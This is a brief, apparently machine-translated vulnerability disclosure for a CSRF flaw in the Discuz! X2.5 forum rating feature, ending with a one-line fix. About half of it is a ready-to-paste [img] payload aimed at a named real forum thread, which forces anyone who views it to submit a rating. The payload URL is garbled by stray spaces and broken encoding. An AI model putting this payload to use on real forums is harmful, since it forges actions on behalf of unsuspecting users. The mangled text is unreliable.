DX2.5 HASH is not verified for an operation, so you can use CSRF to quickly score points.

DX2.5 the HASH is not verified for an operation, so you can quickly score points! Detailed Description: HASH is not verified in the scoring area. You can use the insert image function to insert a scoring link in your personal signature or reply content. When someone opens a post containing this image, it will automatically add points to the specified post. [Img] http://dzs.gamebbs.qq.com/forum.php? Mod = misc & action = rate & ratesubmit = yes & infloat = yes & inajax = 1 formhash = 3a0d2122 & tid = 111664 & pid = 1819715 & referer = http % 3A % 2F % 2Fdzs.gamebbs.qq.com % 2Fforum. php % 3 Fmod % 3 Dviewthread % 26tid % 3D111664% 26 page % 3D0% 23pid1819715 & handlekey = rate & score2 = 5 & reason = % E6 % 94% AF % E6 % 8C % 81% e5 % 8E % BB % E6 % 8E % 89TP % EF % BC % 81 & ratesubmit = true [/img]

Http://dzs.gamebbs.qq.com/forum.php? Mod = viewthread & tid = 111664 & page = 1 # pid1819715
 Solution:

Verify HASH